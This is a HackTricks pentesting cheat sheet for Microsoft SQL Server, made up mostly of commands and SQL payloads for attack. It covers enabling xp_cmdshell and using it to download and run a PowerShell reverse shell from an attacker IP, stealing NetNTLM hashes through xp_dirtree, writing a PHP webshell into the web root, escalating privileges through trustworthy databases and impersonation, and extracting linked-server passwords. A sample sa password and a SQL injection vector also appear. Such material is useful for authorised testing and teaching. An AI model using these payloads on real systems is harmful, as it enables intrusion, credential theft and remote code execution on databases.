hacktricks/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md

28 KiB
Raw Blame History

1433 - Pentesting MSSQL - Microsoft SQL Server

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


Basic Information

From wikipedia:

Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).\

Default port: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Default MS-SQL System Tables

  • master Database: This database is crucial as it captures all system-level details for a SQL Server instance.
  • msdb Database: SQL Server Agent utilizes this database to manage scheduling for alerts and jobs.
  • model Database: Acts as a blueprint for every new database on the SQL Server instance, where any alterations like size, collation, recovery model, and more are mirrored in newly created databases.
  • Resource Database: A read-only database that houses system objects that come with SQL Server. These objects, while stored physically in the Resource database, are logically presented in the sys schema of every database.
  • tempdb Database: Serves as a temporary storage area for transient objects or intermediate result sets.

Enumeration

Automatic Enumeration

If you don't know nothing about the service:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

{% hint style="info" %} If you don't have credentials you can try to guess them. You can use nmap or metasploit. Be careful, you can block accounts if you fail login several times using an existing username. {% endhint %}

Metasploit (need creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Brute force

Manual Enumeration

Login

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database> 
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Common Enumeration

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

Get User

{% content-ref url="types-of-mssql-users.md" %} types-of-mssql-users.md {% endcontent-ref %}

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
       create_date,
       modify_date,
       type_desc as type,
       authentication_type_desc as authentication_type,
       sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Get Permissions

  1. Securable: Defined as the resources managed by SQL Server for access control. These are categorized into:

    • Server Examples include databases, logins, endpoints, availability groups, and server roles.
    • Database Examples cover database role, application roles, schema, certificates, full text catalogs, and users.
    • Schema Includes tables, views, procedures, functions, synonyms, etc.
  2. Permission: Associated with SQL Server securables, permissions such as ALTER, CONTROL, and CREATE can be granted to a principal. Management of permissions occurs at two levels:

    • Server Level using logins
    • Database Level using users
  3. Principal: This term refers to the entity that is granted permission to a securable. Principals mainly include logins and database users. The control over access to securables is exercised through the granting or denying of permissions or by including logins and users in roles equipped with access rights.

# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Tricks

Execute OS Commands

{% hint style="danger" %} Note that in order to be able to execute commands it's not only necessary to have xp_cmdshell enabled, but also have the EXECUTE permission on the xp_cmdshell stored procedure. You can get who (except sysadmins) can use xp_cmdshell with:

Use master
EXEC sp_helprotect 'xp_cmdshell'

{% endhint %}

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net'

Steal NetNTLM hash / Relay attack

You should start a SMB server to capture the hash used in the authentication (impacket-smbserver or responder for example).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

{% hint style="warning" %} You can check if who (apart sysadmins) has permissions to run those MSSQL functions with:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

{% endhint %}

Using tools such as responder or Inveigh it's possible to steal the NetNTLM hash.
You can see how to use these tools in:

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}

Read this post to find more information about how to abuse this feature:

{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} abusing-ad-mssql.md {% endcontent-ref %}

Write Files

To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Read file with OPENROWSET

By default, MSSQL allows file read on any file in the operating system to which the account has read access. We can use the following SQL query:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

However, the BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Error-based vector for SQLi:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- 

RCE/Read files executing scripts (Python and R)

MSSQL could allow you to execute scripts in Python and/or R. These code will be executed by a different user than the one using xp_cmdshell to execute commands.

Example trying to execute a 'R' "Hellow World!" not working:

Example using configured python to perform several actions:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Read Registry

Microsoft SQL Server provides multiple extended stored procedures that allow you to interact with not only the network but also the file system and even the Windows Registry:

Regular Instance-Aware
sys.xp_regread sys.xp_instance_regread
sys.xp_regenumvalues sys.xp_instance_regenumvalues
sys.xp_regenumkeys sys.xp_instance_regenumkeys
sys.xp_regwrite sys.xp_instance_regwrite
sys.xp_regdeletevalue sys.xp_instance_regdeletevalue
sys.xp_regdeletekey sys.xp_instance_regdeletekey
sys.xp_regaddmultistring sys.xp_instance_regaddmultistring
sys.xp_regremovemultistring sys.xp_instance_regremovemultistring
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

For more examples check out the original source.

RCE with MSSQL User Defined Function - SQLHttp

It's possible to load a .NET dll within MSSQL with custom functions. This, however, requires dbo access so you need a connection with database as sa or an Administrator role.

Following this link to see an example.

Other ways for RCE

There are other methods to get command execution, such as adding extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, and external scripts.

MSSQL Privilege Escalation

From db_owner to sysadmin

If a regular user is given the role db_owner over the database owned by an admin user (such as sa) and that database is configured as trustworthy, that user can abuse these privileges to privesc because stored procedures created in there that can execute as the owner (admin).

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

You can use a metasploit module:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

Or a PS script:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Impersonation of other users

SQL Server has a special permission, named IMPERSONATE, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

{% hint style="info" %} If you can impersonate a user, even if he isn't sysadmin, you should check if the user has access to other databases or linked servers. {% endhint %}

Note that once you are sysadmin you can impersonate any other one:

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

You can perform this attack with a metasploit module:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

or with a PS script:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Using MSSQL for Persistence

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Extracting passwords from SQL Server Linked Servers

An attacker can extract SQL Server Linked Servers passwords from the SQL Instances and get them in clear text, granting the attacker passwords that can be used to acquire a greater foothold on the target. The script to extract and decrypt the passwords stored for the Linked Servers can be found here

Some requirements, and configurations must be done in order for this exploit to work. First of all, you must have Administrator rights on the machine, or the ability to manage the SQL Server Configurations.

After validating your permissions, you need to configure three things, which are the following:

  1. Enable TCP/IP on the SQL Server instances;
  2. Add a Start Up parameter, in this case, a trace flag will be added, which is -T7806.
  3. Enable remote admin connection.

To automate these configurations, this repository has the needed scripts. Besides having a powershell script for each step of the configuration, the repository also has a full script which combines the configuration scripts and the extraction and decryption of the passwords.

For further information, refer to the following links regarding this attack: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Local Privilege Escalation

The user running MSSQL server will have enabled the privilege token SeImpersonatePrivilege.
You probably will be able to escalate to Administrator following one of these 2 paged:

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %} juicypotato.md {% endcontent-ref %}

Shodan

  • port:1433 !HTTP

References

{% embed url="https://discord.gg/tryhardsecurity" %}


HackTricks Automatic Commands

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for MSSQL
  Note: |
    Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

    #sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

    ###the goal is to get xp_cmdshell working###
    1. try and see if it works
        xp_cmdshell `whoami`
        go

    2. try to turn component back on
        EXEC SP_CONFIGURE 'xp_cmdshell' , 1
        reconfigure
        go
        xp_cmdshell `whoami`
        go

    3. 'advanced' turn it back on
        EXEC SP_CONFIGURE 'show advanced options', 1
        reconfigure
        go
        EXEC SP_CONFIGURE 'xp_cmdshell' , 1
        reconfigure
        go
        xp_cmdshell 'whoami'
        go




    xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


    https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server

Entry_2:
  Name: Nmap for SQL
  Description: Nmap with SQL Scripts
  Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
  
Entry_3:
  Name: MSSQL consolesless mfs enumeration
  Description: MSSQL enumeration without the need to run msfconsole
  Note: sourced from https://github.com/carlospolop/legion
  Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' 
    
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: